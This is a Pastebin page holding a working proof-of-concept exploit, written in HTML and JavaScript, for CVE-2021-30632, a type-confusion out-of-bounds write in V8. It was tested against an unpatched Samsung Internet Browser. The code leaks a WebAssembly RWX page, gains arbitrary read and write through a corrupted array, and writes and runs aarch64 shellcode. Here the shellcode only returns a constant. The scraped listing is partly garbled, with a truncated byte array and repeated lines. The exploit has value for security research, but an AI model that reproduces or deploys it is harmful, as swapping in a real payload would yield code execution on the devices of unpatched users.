



## PoC CVE-2021-30632 - Out of bounds write in V8

A GUEST	SEP 20TH, 2021	1,611	NEVER
---------	----------------	-------	-------

SHARE  
TWEET

**Not a member of Pastebin yet? Sign Up** (/signup), it unlocks many cool features!

[JavaScript \(/archive/javascript\)](#)
[raw \(/raw/wCNA6UAB\)](#)
[download \(/dl/wCNA6UAB\)](#)
[clone \(/clone/wCNA6UAB\)](#)
[embed \(/embed/wCNA6UAB\)](#)
[print \(/print/wCNA6UAB\)](#)

5.18 KB
 [report \(/report/wCNA6UAB\)](#)

5.18 KB

```

1. <!DOCTYPE html>
2. <html lang="en">
3. <head>
4.     <title>PoC CVE-2021-30632 - Out of bounds write in V8</title>
5.     <meta name="author" content="@Zeusb0X">
6.     <meta name="comments" content="Tested against Samsung Internet Browser v15.0.2.47, which does not yet have Google's patch.">
7.     <!--
8.         This bug is caused by the fact that global property "stores" for existing values with unstable maps are lacking a
9.         stability code dependency in the affected versions.
10.        It is exploitable because global property "loads" benefit from "CheckMaps" removal when a stability code dependency
11.        is in place for their value's map.
12.        The recipe for exploitation involves transitioning from an array of PACKED_SMI elements with a stable map to an array of
13.        PACKED_DOUBLE elements and have multiple JITted functions that deal with each kind of array.
14.        Type confusions between PACKED_SMI and PACKED_DOUBLE elements => Out of bounds R/W.
15.    -->
16. </head>
17. <body>
18.     <h1 id="pwn"></h1>
19.     <script>
20.         /* aarch64 small routine which does ret 0xDEAD */
21.         var sc = new Uint8Array([0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0x10, 0x01, 0x80, 0xd2, 0xe7, 0x43, 0xbf, 0xa9, 0xa0, 0xd5, 0x9b,
22.         0xd2, 0xbf, 0x03, 0x00, 0x91, 0xfd, 0x7b, 0xc1, 0xa8, 0xc0, 0x03, 0x5f, 0xd6]);
23.
24.         var sb = new ArrayBuffer(0x1000);
25.
26.         /* RET 0x2A */
27.         var wc = new
28.         Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,
29.
30.         var wm = new WebAssembly.Module(wc);
31.         var wi = new WebAssembly.Instance(wm);
32.         var f = wi.exports.main;
33.
34.         // We need to start with stable JSArray maps
35.         class Box extends Array
36.         {
37.             constructor(...args) {
38.                 super(...args);
39.             }
40.         };
41.
42.         var a = new Box(1,2,3);
43.
44.         function set_smi_arr(smi_arr,x) {
45.             for (let i = 0; i < 0x200; ++i) {
46.                 ++i;
47.             }
48.             if (x) {

```

We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy (/doc\_cookies\_policy).



Not a member of Pastebin yet?  
**Sign Up** (/signup), it unlocks many  
cool features!

```
45.         a = smi_arr;
46.     }
47. }
48.
49. function set_double_arr(double_arr,x) {
50.     for (let i = 0; i < 0x200; ++i) {
51.         ++i;
52.     }
53.     if (x) {
54.         a = double_arr;
55.     }
56. }
57.
58. function leak_elems_and_len() {
59.     for (let i = 0; i < 0x200; ++i) {
60.         ++i;
61.     }
62.     return a[11];
63. }
64.
65. function set_elems_and_len(d) {
66.     for (let i = 0; i < 0x200; ++i) {
67.         ++i;
68.     }
69.     a[11] = d;
70. }
71.
72. function read_corrupted_arr(corrupted_arr,idx) {
73.     for (let i = 0; i < 0x200; ++i) {
74.         ++i;
75.     }
76.     return corrupted_arr[idx];
77. }
78.
79. function write_corrupted_arr(corrupted_arr,idx,val) {
80.     for (let i = 0; i < 0x200; ++i) {
81.         ++i;
82.     }
83.     corrupted_arr[idx] = val;
84. }
85.
86. var b1 = new Box(1,2,3,4);
87. set_smi_arr(b1, true);
88.
89. a.x = 1;
90. delete a.x;
91.
92. for (var i = 0; i < 0x3000; ++i) {
93.     set_smi_arr(b1, false);
94. }
95.
96. a[0] = 1.1;
97. var b2 = new Box(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11,12.12);
98. set_double_arr(b2, true);
99.
100. for (var i = 0; i < 0x3000; ++i) {
101.     set_double_arr(b2, false);
102. }
103.
104. for (var i = 0; i < 0x3000; ++i) {
105.     leak_elems_and_len();
106.     set_elems_and_len(12.13);
107.     read_corrupted_arr(b2, 0);
108.     write_corrupted_arr(b2, 0, 1.1);
109. }
110.
111. var oob_arr = new Box(1,2,3,4,5,6,7,8,9,10,11,12);
112. var corrupted_arr = new Box(1.1,1.2);
```

```
113.     var leaks = [wi,sb];
114.
115.     set_smi_arr(oob_arr, true);
116.
117.     var ab = new ArrayBuffer(8);
118.     var f64 = new Float64Array(ab);
119.     var u32 = new Uint32Array(ab);
120.
121.     f64[0] = leak_elems_and_len();
122.     u32[1] = 0x42424242;
123.     var init = f64[0];
124.     set_elems_and_len(init);
125.
126.     f64[0] = read_corrupted_arr(corrupted_arr, 8);
127.     var wasm_instance_addr = u32[0];
128.     var sb_addr = u32[1];
129.
130.     f64[0] = init;
131.     u32[0] = wasm_instance_addr;
132.     set_elems_and_len(f64[0]);
133.
134.     f64[0] = read_corrupted_arr(corrupted_arr, 12);
135.     var rwx_low = u32[0];
136.     var rwx_high = u32[1];
137.
138.     f64[0] = init;
139.     u32[0] = sb_addr;
140.     set_elems_and_len(f64[0]);
141.
142.     f64[0] = read_corrupted_arr(corrupted_arr, 1);
143.     u32[1] = rwx_low;
144.     write_corrupted_arr(corrupted_arr, 1, f64[0]);
145.
146.     f64[0] = read_corrupted_arr(corrupted_arr, 2);
147.     u32[0] = rwx_high;
148.     write_corrupted_arr(corrupted_arr, 2, f64[0]);
149.
150.     var u8 = new Uint8Array(sb);
151.
152.     for (let i = 0; i < sc.byteLength; ++i) {
153.         u8[i] = sc[i];
154.     }
155.
156.     document.getElementById("pwn").innerText = f().toString(16);
157. </script>
158. </body>
159. </html>
```

## RAW Paste Data

```
<!DOCTYPE html>
<html lang="en">
<head>
  <title>PoC CVE-2021-30632 - Out of bounds write in V8</title>
  <meta name="author" content="@Zeusb0X">
  <meta name="comments" content="Tested against Samsung Internet Browser v15.0.2.47, which does not yet have Google's patch.">
  <!--
    This bug is caused by the fact that global property "stores" for existing values with unstable maps are lacking a
    stability code dependency in the affected versions.
    It is exploitable because global property "loads" benefit from "CheckMaps" removal when a stability code dependency
    is in place for their value's map.
    The recipe for exploitation involves transitioning from an array of PACKED_SMI elements with a stable map to an array of
    PACKED_DOUBLE elements and have multiple JITted functions that deal with each kind of array.
    Type confusions between PACKED_SMI and PACKED_DOUBLE elements => Out of bounds R/W.
```

## Public Pastes (/archive)

Untitled (/kHGhVzL4)  
C++ | 1 min ago | 2.19 KB

Toy Shop (/KBqQZi2r)  
C# | 9 min ago | 1.18 KB

World Swimming Record (/93uWvAK9)  
C# | 10 min ago | 0.87 KB

Untitled (/s/ENVsHk8)  
C# | 17 min ago | 0.40 KB

Zad39 (/jbiXz21W)  
C++ | 32 min ago | 0.59 KB

Untitled (/kFMTaWtY)  
C++ | 34 min ago | 1.34 KB

Test 1 (/LdSxDU9R)  
Java | 35 min ago | 2.71 KB

Untitled (/ktq2CzPk)  
Python | 36 min ago | 0.74 KB

```
(/tools/#chris(#fido:#kphl:#p)ins(#as)#fido:#$poes# pastebincl)
```

[create new paste \(/\)](#) / [syntax languages \(/languages\)](#) / [archive \(/archive\)](#) / [faq \(/faq\)](#) / [tools \(/tools\)](#) / [night mode \(/night\\_mode\)](#) / [api \(/doc\\_api\)](#) / [scraping api \(/doc\\_scraping\\_api\)](#) / [news \(/news\)](#) / [pro \(/pro\)](#)  
[privacy statement \(/doc\\_privacy\\_statement\)](#) / [cookies policy \(/doc\\_cookies\\_policy\)](#) / [terms of service \(/doc\\_terms\\_of\\_service\)](#)<sup>updated</sup> / [security disclosure \(/doc\\_security\\_disclosure\)](#) / [dmca \(/dmca\)](#) / [report abuse \(/report-abuse\)](#) / [contact \(/contact\)](#)

By using Pastebin.com you agree to our cookies policy (/doc\_cookies\_policy) to enhance your experience.  
Site design & logo © 2021 Pastebin